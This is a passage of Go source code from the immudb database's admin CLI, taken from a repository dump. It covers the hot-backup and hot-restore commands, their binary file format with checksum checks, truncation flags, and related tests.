%v\", retDur))\n\t\t}\n\n\t\tif settings.TruncationSettings.TruncationFrequency != nil {\n\t\t\tfreq := time.Duration(settings.TruncationSettings.GetTruncationFrequency().GetValue()) * time.Millisecond\n\t\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"truncation-frequency: %v\", freq))\n\t\t}\n\t}\n\n\treturn strings.Join(propertiesStr, \", \")\n}\n\nfunc addDbTruncateFlags(c *cobra.Command) {\n\tc.Flags().Bool(\"yes-i-know-what-i-am-doing\", false, \"safety flag to confirm database truncation\")\n\tc.Flags().Duration(\"retention-period\", 0, \"duration of time to retain data in storage\")\n\tc.MarkFlagRequired(\"yes-i-know-what-i-am-doing\")\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/database_test.go",
    "content": "package immuadmin\n\n/*\nfunc TestDatabaseList(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true)\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tdefer os.RemoveAll(options.Dir)\n\tdefer os.Remove(\".state-\")\n\n\tpr := &immuclienttest.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}\n\tctx := context.Background()\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tcliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr)\n\tcliopt.PasswordReader = pr\n\tcliopt.DialOptions = dialOptions\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttoken, err := clientb.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", token.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\tcmdl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: pr,\n\t\tcontext:        ctx,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.database(cmd)\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tcmdlist := cmd.Commands()[0].Commands()[1]\n\tcmdlist.PersistentPreRunE = nil\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"database\", \"list\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"defaultdb\")\n}\n\nfunc TestDatabaseCreate(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true)\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tdefer os.RemoveAll(options.Dir)\n\tdefer os.Remove(\".state-\")\n\n\tpr := &immuclienttest.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}\n\tctx := context.Background()\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tcliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr)\n\tcliopt.PasswordReader = pr\n\tcliopt.DialOptions = dialOptions\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttoken, err := clientb.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", token.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\tcmdl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: pr,\n\t\tcontext:        ctx,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\n\tcmdl.database(cmd)\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tcmdlist := cmd.Commands()[0].Commands()[0]\n\tcmdlist.PersistentPreRunE = nil\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"database\", \"create\", \"mynewdb\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"database successfully created\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuadmin/command/hot_backup.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"os/signal\"\n\n\t\"google.golang.org/grpc/metadata\"\n\n\t\"github.com/schollz/progressbar/v2\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/pflag\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n)\n\nconst (\n\tprefix            = \"IMMUBACKUP\"\n\tlatestFileVersion = 1\n)\n\nconst (\n\tprefixOffset     = iota\n\tversionOffset    = prefixOffset + len(prefix)\n\ttxIdOffset       = versionOffset + 4\n\ttxSignSizeOffset = txIdOffset + 8\n\ttxSizeOffset     = txSignSizeOffset + 4\n\theaderSize       = txSizeOffset + 4\n)\n\nvar ErrMalformedFile = errors.New(\"malformed backup file\")\nvar ErrTxWrongOrder = errors.New(\"incorrect transaction order in file\")\nvar ErrTxNotInFile = errors.New(\"last known transaction not in file\")\n\ntype commandlineHotBck struct {\n\tcommandline\n\tcmd *cobra.Command\n}\n\nfunc newCommandlineHotBck(os immuos.OS) (*commandlineHotBck, error) {\n\tcl := commandline{}\n\tcl.config.Name = \"immuadmin\"\n\tcl.context = context.Background()\n\tcl.os = os\n\n\treturn &commandlineHotBck{commandline: cl}, nil\n}\n\nfunc (clb *commandlineHotBck) Register(rootCmd *cobra.Command) *cobra.Command {\n\tclb.hotBackup(rootCmd)\n\tclb.hotRestore(rootCmd)\n\treturn rootCmd\n}\n\ntype backupParams struct {\n\toutput   string\n\tstartTx  uint64\n\tappend   bool\n\tprogress bool\n}\n\nfunc (cl *commandlineHotBck) hotBackup(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:   \"hot-backup <db_name>\",\n\t\tShort: \"Make a copy of the database without stopping\",\n\t\tLong: \"Backup a database to file/stream without stopping the database engine. \" +\n\t\t\t\"Backup can run from the beginning or starting from arbitrary transaction.\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tfile := io.Writer(os.Stdout)\n\t\t\tparams, err := prepareBackupParams(cmd.Flags())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tudr, err := cl.immuClient.UseDatabase(cl.context, &schema.Database{DatabaseName: args[0]})\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcl.context = metadata.NewOutgoingContext(cl.context, metadata.Pairs(\"authorization\", udr.GetToken()))\n\n\t\t\tif params.output != \"-\" {\n\t\t\t\tf, err := cl.verifyOrCreateBackupFile(params)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdefer f.Close()\n\t\t\t\tfile = f\n\t\t\t}\n\n\t\t\treturn cl.runHotBackup(file, params.startTx, params.progress)\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tccmd.Flags().StringP(\"output\", \"o\", \"-\", \"output file, \\\"-\\\" for stdout\")\n\tccmd.Flags().Uint64(\"start-tx\", 1, \"Transaction ID to start from\")\n\tccmd.Flags().Bool(\"progress-bar\", false, \"show progress indicator\")\n\tccmd.Flags().Bool(\"append\", false, \"append to file, if it already exists (for file output only)\")\n\tcmd.AddCommand(ccmd)\n\tcl.cmd = cmd\n}\n\nfunc prepareBackupParams(flags *pflag.FlagSet) (*backupParams, error) {\n\tvar params backupParams\n\tvar err error\n\n\tparams.output, err = flags.GetString(\"output\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparams.append, err = flags.GetBool(\"append\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparams.startTx, err = flags.GetUint64(\"start-tx\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparams.progress, err = flags.GetBool(\"progress-bar\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif params.startTx > 1 && params.append {\n\t\treturn nil, errors.New(\"don't use --append and --start-tx options together\")\n\t}\n\n\tif params.output == \"-\" && params.append {\n\t\treturn nil, errors.New(\"--append option can be used only when outputting to the file\")\n\t}\n\n\treturn &params, nil\n}\n\nfunc (cl *commandlineHotBck) verifyOrCreateBackupFile(params *backupParams) (*os.File, error) {\n\tvar f *os.File\n\n\t_, err := os.Stat(params.output)\n\tif err == nil {\n\t\t// file exists - find last tx in file and check whether it matches the one in DB\n\t\tif !params.append {\n\t\t\treturn nil, errors.New(\"file already exists, use --append option to append new data to file\")\n\t\t}\n\t\tf, err = os.OpenFile(params.output, os.O_RDWR, 0)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tlast, fileChecksum, err := lastTxInFile(f)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttxn, err := cl.immuClient.TxByID(cl.context, last)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"cannot find file's last transaction %d in database: %v\", last, err)\n\t\t}\n\t\talh := schema.TxHeaderFromProto(txn.Header).Alh()\n\t\tif !bytes.Equal(fileChecksum, alh[:]) {\n\t\t\treturn nil, fmt.Errorf(\"checksums for transaction %d in backup file and database differ - probably file was created from different database\", last)\n\t\t}\n\t\tparams.startTx = last + 1\n\t} else if os.IsNotExist(err) {\n\t\tf, err = os.Create(params.output)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\treturn nil, err\n\t}\n\n\treturn f, nil\n}\n\nfunc (cl *commandlineHotBck) runHotBackup(output io.Writer, startTx uint64, progress bool) error {\n\tstate, err := cl.immuClient.CurrentState(cl.context)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlatestTx := state.TxId\n\n\tif latestTx < startTx {\n\t\tfmt.Fprintf(cl.cmd.ErrOrStderr(), \"All backed up, nothing to do\\n\")\n\t\treturn nil\n\t}\n\n\tif startTx == latestTx {\n\t\tfmt.Fprintf(cl.cmd.ErrOrStderr(), \"Backing up transaction %d\\n\", startTx)\n\t} else {\n\t\tfmt.Fprintf(cl.cmd.ErrOrStderr(), \"Backing up transactions from %d to %d\\n\", startTx, latestTx)\n\t}\n\n\tvar bar *progressbar.ProgressBar\n\tif progress {\n\t\tbar = progressbar.NewOptions64(int64(latestTx-startTx+1), progressbar.OptionSetWriter(os.Stderr))\n\t}\n\n\tdone := make(chan struct{}, 1)\n\tdefer close(done)\n\tterminated := make(chan os.Signal, 1)\n\tsignal.Notify(terminated, os.Interrupt)\n\n\tstop := false\n\tgo func() {\n\t\tselect {\n\t\tcase <-done:\n\t\tcase <-terminated:\n\t\t\tstop = true\n\t\t}\n\t}()\n\n\tfor i := startTx; i <= latestTx; i++ {\n\t\tif stop {\n\t\t\tfmt.Fprintf(cl.cmd.ErrOrStderr(), \"Terminated by signal - stopped after tx %d\\n\", i-1)\n\t\t\treturn nil\n\t\t}\n\t\terr = cl.backupTx(i, output)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif bar != nil {\n\t\t\tbar.Add(1)\n\t\t}\n\t}\n\n\tfmt.Fprintf(cl.cmd.ErrOrStderr(), \"Done\\n\")\n\treturn nil\n}\n\nfunc (cl *commandlineHotBck) backupTx(tx uint64, output io.Writer) error {\n\tstream, err := cl.immuClient.ExportTx(cl.context, &schema.ExportTxRequest{Tx: tx})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to export transaction: %w\", err)\n\t}\n\n\tvar content []byte\n\n\tfor {\n\t\tvar chunk *schema.Chunk\n\t\tchunk, err = stream.Recv()\n\n\t\tif errors.Is(err, io.EOF) {\n\t\t\terr = nil\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\tbreak\n\t\t}\n\n\t\tcontent = append(content, chunk.Content...)\n\t}\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot process transaction data: %w\", err)\n\t}\n\n\terr = stream.CloseSend()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"CloseSend returned %v\", err)\n\t}\n\n\ttxn, err := cl.immuClient.TxByID(cl.context, tx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\talh := schema.TxHeaderFromProto(txn.Header).Alh()\n\n\terr = outputTx(tx, output, alh[:], content)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc outputTx(tx uint64, output io.Writer, checksum []byte, content []byte) error {\n\tpayload := make([]byte, headerSize, headerSize+len(checksum)+len(content))\n\tcopy(payload[prefixOffset:], prefix)\n\tbinary.BigEndian.PutUint32(payload[versionOffset:], latestFileVersion)\n\tbinary.BigEndian.PutUint64(payload[txIdOffset:], tx)\n\tbinary.BigEndian.PutUint32(payload[txSignSizeOffset:], uint32(len(checksum)))\n\tbinary.BigEndian.PutUint32(payload[txSizeOffset:], uint32(len(content)))\n\tpayload = append(payload, checksum...)\n\tpayload = append(payload, content...)\n\n\t_, err := output.Write(payload)\n\treturn err\n}\n\ntype restoreParams struct {\n\tinput    string\n\tappend   bool\n\tprogress bool\n\tforce    bool\n\tverify   bool\n\treplica  bool\n}\n\nfunc (cl *commandlineHotBck) hotRestore(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:   \"hot-restore <db_name>\",\n\t\tShort: \"Restore data from backup file\",\n\t\tLong: \"Restore saved transaction from backup file without stopping the database engine. \" +\n\t\t\t\"Restore can restore the data from scratch or apply only the missing data.\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tparams, err := prepareRestoreParams(cmd.Flags())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfile := io.Reader(os.Stdin)\n\t\t\tif params.input != \"-\" {\n\t\t\t\tf, err := os.Open(params.input)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfile = f\n\t\t\t\tdefer f.Close()\n\t\t\t}\n\n\t\t\tif params.verify {\n\t\t\t\treturn cl.verifyFile(file)\n\t\t\t}\n\n\t\t\tdbExist, err := cl.isDbExists(args[0])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tvar firstTx uint64\n\t\t\tif dbExist {\n\t\t\t\t// if initDbForRestore inserts first transaction, it returns non-zero firstTx\n\t\t\t\tfirstTx, err = cl.initDbForRestore(params, args[0], file)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// db does not exist - create as replica and use it\n\t\t\t\terr = cl.createDb(args[0])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tparams.replica = true\n\t\t\t}\n\t\t\tif params.replica {\n\t\t\t\tdefer func() {\n\t\t\t\t\terr = cl.immuClient.UpdateDatabase(cl.context, &schema.DatabaseSettings{DatabaseName: args[0], Replica: false})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tfmt.Fprintf(cl.cmd.ErrOrStderr(), \"Error switching off replica mode for db: %v\", err)\n\t\t\t\t\t}\n\t\t\t\t}()\n\t\t\t}\n\n\t\t\treturn cl.runHotRestore(file, params.progress, firstTx)\n\t\t},\n\t\tArgs: func(cmd *cobra.Command, args []string) error {\n\t\t\tverify, _ := cmd.Flags().GetBool(\"verify-only\")\n\t\t\tif verify {\n\t\t\t\treturn cobra.ExactArgs(0)(cmd, args)\n\t\t\t}\n\t\t\treturn cobra.ExactArgs(1)(cmd, args)\n\t\t},\n\t}\n\tccmd.Flags().StringP(\"input\", \"i\", \"-\", \"input file file, \\\"-\\\" for stdin\")\n\tccmd.Flags().Bool(\"verify-only\", false, \"do not restore data, only verify backup\")\n\tccmd.Flags().Bool(\"append\", false, \"appending to DB, if it already exists\")\n\tccmd.Flags().Bool(\"progress-bar\", false, \"show progress indicator\")\n\tccmd.Flags().Bool(\"force\", false, \"don't check transaction sequence\")\n\tccmd.Flags().Bool(\"force-replica\", false, \"switch database to replica mode for the duration of restore\")\n\tcmd.AddCommand(ccmd)\n\tcl.cmd = cmd\n}\n\nfunc prepareRestoreParams(flags *pflag.FlagSet) (*restoreParams, error) {\n\tvar params restoreParams\n\tvar err error\n\n\tparams.input, err = flags.GetString(\"input\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparams.append, err = flags.GetBool(\"append\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparams.force, err = flags.GetBool(\"force\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparams.verify, err = flags.GetBool(\"verify-only\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparams.progress, err = flags.GetBool(\"progress-bar\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparams.replica, err = flags.GetBool(\"force-replica\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &params, nil\n}\n\nfunc (cl *commandlineHotBck) verifyFile(file io.Reader) error {\n\tfirstTx, _, _, err := nextTx(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlastTx := firstTx\n\tlastTx, _, err = lastTxInFile(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif lastTx == firstTx {\n\t\tfmt.Fprintf(cl.cmd.OutOrStdout(), \"Backup file contains transaction %d\\n\", firstTx)\n\t} else {\n\t\tfmt.Fprintf(cl.cmd.OutOrStdout(), \"Backup file contains transactions from %d to %d\\n\", firstTx, lastTx)\n\t}\n\treturn nil\n}\n\nfunc (cl *commandlineHotBck) isDbExists(name string) (bool, error) {\n\tdbList, err := cl.immuClient.DatabaseList(cl.context)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tdbExist := false\n\tfor _, db := range dbList.Databases {\n\t\tif db.DatabaseName == name {\n\t\t\tdbExist = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn dbExist, nil\n}\n\n// prepare existing Db for restore\n// What DB is not empty, it reads first transaction from input stream. Because we cannot re-position in the stream,\n// in some situation (when there is no gap and no overlap between DB and file) this transaction gets restored to DB,\n// in this case non-zero tx ID is returned\nfunc (cl *commandlineHotBck) initDbForRestore(params *restoreParams, name string, file io.Reader) (uint64, error) {\n\tlastTx, checksum, err := cl.useDb(name, params.replica)\n\tif err != nil {\n\t\treturn 0, nil\n\t}\n\tif lastTx == 0 { // db is empty - nothing to verify\n\t\treturn 0, nil\n\t}\n\n\tif !params.append {\n\t\treturn 0, errors.New(\"cannot restore to non-empty database without --append flag\")\n\t}\n\n\t// find the nearest transaction in backup file and position the file just after the transaction\n\ttxId, fileChecksum, payload, err := findTx(file, lastTx)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tgap := txId - lastTx\n\n\tif gap > 1 {\n\t\treturn 0, fmt.Errorf(\"there is a gap of %d transaction(s) between database and file - restore not possible\", gap-1)\n\t}\n\n\tif gap == 1 {\n\t\tif !params.force {\n\t\t\treturn 0, errors.New(\"not possible to validate last transaction in DB - use --force to override\")\n\t\t}\n\n\t\terr = cl.restoreTx(fileChecksum, payload)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\treturn txId, nil // indicate to caller that first transaction to restore is already read\n\t}\n\n\tif !bytes.Equal(fileChecksum, checksum) {\n\t\treturn 0, fmt.Errorf(\"checksums for tx %d in backup file and database differ - cannot append data to the database\", lastTx)\n\t}\n\n\treturn 0, nil\n}\n\nfunc (cl *commandlineHotBck) useDb(name string, replica bool) (uint64, []byte, error) {\n\tudr, err := cl.immuClient.UseDatabase(cl.context, &schema.Database{DatabaseName: name})\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\tcl.context = metadata.NewOutgoingContext(cl.context, metadata.Pairs(\"authorization\", udr.GetToken()))\n\n\tif replica {\n\t\terr = cl.immuClient.UpdateDatabase(cl.context, &schema.DatabaseSettings{DatabaseName: name, Replica: true})\n\t\tif err != nil {\n\t\t\treturn 0, nil, fmt.Errorf(\"cannot switch on replica mode for db: %v\", err)\n\t\t}\n\t}\n\n\tstate, err := cl.immuClient.CurrentState(cl.context)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\ttxn, err := cl.immuClient.TxByID(cl.context, state.TxId)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\talh := schema.TxHeaderFromProto(txn.Header).Alh()\n\treturn state.TxId, alh[:], nil\n}\n\nfunc (cl *commandlineHotBck) createDb(name string) error {\n\terr := cl.immuClient.CreateDatabase(cl.context, &schema.DatabaseSettings{DatabaseName: name, Replica: true, PrimaryDatabase: \"dummy\"})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tudr, err := cl.immuClient.UseDatabase(cl.context, &schema.Database{DatabaseName: name})\n\tif err != nil {\n\t\treturn err\n\t}\n\tcl.context = metadata.NewOutgoingContext(cl.context, metadata.Pairs(\"authorization\", udr.GetToken()))\n\n\treturn nil\n}\n\n// run actual restore. First transaction maybe already restored, so use firstTx as start value, when set\nfunc (cl *commandlineHotBck) runHotRestore(input io.Reader, progress bool, firstTx uint64) error {\n\tvar bar *progressbar.ProgressBar\n\tif progress {\n\t\tbar = progressbar.New(-1)\n\t}\n\n\tdone := make(chan struct{}, 1)\n\tdefer close(done)\n\tterminated := make(chan os.Signal, 1)\n\tsignal.Notify(terminated, os.Interrupt)\n\n\tstop := false\n\tgo func() {\n\t\tselect {\n\t\tcase <-done:\n\t\tcase <-terminated:\n\t\t\tfmt.Fprintf(cl.cmd.ErrOrStderr(), \"Terminated by signal\\n\")\n\t\t\tstop = true\n\t\t}\n\t}()\n\n\tlastTx := firstTx\n\tfor !stop {\n\t\ttx, checksum, payload, err := nextTx(input)\n\t\tif errors.Is(err, io.EOF) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = cl.restoreTx(checksum, payload)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif firstTx == 0 {\n\t\t\tfirstTx = tx\n\t\t}\n\t\tlastTx = tx\n\t\tif bar != nil {\n\t\t\tbar.Add(1)\n\t\t}\n\t}\n\n\tif firstTx == 0 {\n\t\tfmt.Fprintf(cl.cmd.OutOrStdout(), \"Target database is up-to-date, nothing restored\\n\")\n\t} else if firstTx == lastTx {\n\t\tfmt.Fprintf(cl.cmd.OutOrStdout(), \"Restored transaction %d\\n\", firstTx)\n\t} else {\n\t\tfmt.Fprintf(cl.cmd.OutOrStdout(), \"Restored transactions from %d to %d\\n\", firstTx, lastTx)\n\t}\n\n\treturn nil\n}\n\nfunc (cl *commandlineHotBck) restoreTx(checksum, payload []byte) error {\n\tmaxChunkSize := uint32(cl.options.StreamChunkSize)\n\n\tstream, err := cl.immuClient.ReplicateTx(cl.context)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\toffset := uint32(0)\n\tremainder := uint32(len(payload))\n\n\tfor remainder > 0 {\n\t\tchunkSize := maxChunkSize\n\t\tif remainder < maxChunkSize {\n\t\t\tchunkSize = remainder\n\t\t}\n\n\t\terr = stream.Send(&schema.Chunk{Content: payload[offset : offset+chunkSize]})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tremainder -= chunkSize\n\t\toffset += chunkSize\n\t}\n\n\thdr, err := stream.CloseAndRecv()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\talh := schema.TxHeaderFromProto(hdr).Alh()\n\n\tif !bytes.Equal(checksum, alh[:]) {\n\t\treturn fmt.Errorf(\"transaction checksums don't match\")\n\t}\n\n\treturn nil\n}\n\n// lastTxInFile assumes that file is positioned on transaction boundary\n// it also can be used to validate file correctness\n// in case of success file pointer is positioned to file end\nfunc lastTxInFile(file io.Reader) (uint64, []byte, error) {\n\tlast := uint64(0)\n\tvar checksum []byte\n\tfor {\n\t\tvar cur uint64\n\t\tvar err error\n\t\tvar txSign []byte\n\t\tcur, txSign, _, err = nextTx(file)\n\t\tif errors.Is(err, io.EOF) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn 0, nil, err\n\t\t}\n\n\t\tif cur != last+1 && last > 0 {\n\t\t\treturn 0, nil, ErrTxWrongOrder\n\t\t}\n\t\tlast = cur\n\t\tchecksum = txSign\n\t}\n\n\treturn last, checksum, nil\n}\n\n// returns tx smallest possible ID which is greater of equal to the one requested\nfunc findTx(file io.Reader, tx uint64) (txID uint64, checksum []byte, payload []byte, err error) {\n\tfor {\n\t\ttxID, checksum, payload, err = nextTx(file)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif txID >= tx {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn\n}\n\n// read transaction, position stream pointer just after the transaction\nfunc nextTx(file io.Reader) (txId uint64, checksum []byte, tx []byte, err error) {\n\theader := make([]byte, headerSize)\n\t_, err = io.ReadFull(file, header)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif !bytes.Equal(header[:versionOffset], []byte(prefix)) {\n\t\terr = ErrMalformedFile\n\t\treturn\n\t}\n\tformatVersion := binary.BigEndian.Uint32(header[versionOffset:])\n\tif formatVersion != latestFileVersion {\n\t\terr = ErrMalformedFile\n\t\treturn\n\t}\n\n\ttxId = binary.BigEndian.Uint64(header[txIdOffset:])\n\tsignSize := binary.BigEndian.Uint32(header[txSignSizeOffset:])\n\ttxSize := binary.BigEndian.Uint32(header[txSizeOffset:])\n\n\tpayload := make([]byte, signSize+txSize)\n\t_, err = io.ReadFull(file, payload)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tchecksum = payload[:signSize]\n\ttx = payload[signSize:]\n\n\treturn\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/hot_backup_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc getCmdline(t *testing.T) *commandline {\n\tbs := servertest.NewBufconnServer(server.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()),\n\t)\n\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tclient, err := bs.NewAuthenticatedClient(client.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()),\n\t)\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { client.CloseSession(context.Background()) })\n\n\treturn &commandline{\n\t\tconfig:     helper.Config{Name: \"immuadmin\"},\n\t\toptions:    client.GetOptions(),\n\t\timmuClient: client,\n\t\tcontext:    context.Background(),\n\t}\n}\n\nfunc TestRestore(t *testing.T) {\n\n\tfmt.Println(\"Restore\")\n\tcl := commandlineHotBck{}\n\tcmd, _ := cl.NewCmd()\n\n\tcmdl := commandlineHotBck{commandline: *getCmdline(t)}\n\tcmdl.hotBackup(cmd)\n\tcmdl.hotRestore(cmd)\n\n\toutput := bytes.NewBufferString(\"\")\n\tcmd.SetOut(output)\n\tcmd.SetErr(output)\n\n\t// disable connects/disconnects, cmd already contains connected immudb client\n\tcmds := cmd.Commands()\n\tcmds[0].PersistentPreRunE = nil\n\tcmds[0].PersistentPostRun = nil\n\tcmds[1].PersistentPreRunE = nil\n\tcmds[1].PersistentPostRun = nil\n\n\t// full restore (1-10)\n\tcmd.SetArgs([]string{\"hot-restore\", \"test\", \"-i\", \"testdata/1-10.backup\"})\n\terr := cmd.Execute()\n\trequire.NoError(t, err)\n\n\tout, err := ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Restored transactions from 1 to 10\")\n\n\t// append w/o append flag (10-11), should fail\n\tcmd.SetArgs([]string{\"hot-restore\", \"test\", \"-i\", \"testdata/10-11.backup\"})\n\terr = cmd.Execute()\n\trequire.Error(t, err)\n\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Error: cannot restore to non-empty database without --append flag\")\n\n\t// gap in transactions (last in DB - 10, first in file - 12), should fail\n\tcmd.SetArgs([]string{\"hot-restore\", \"test\", \"-i\", 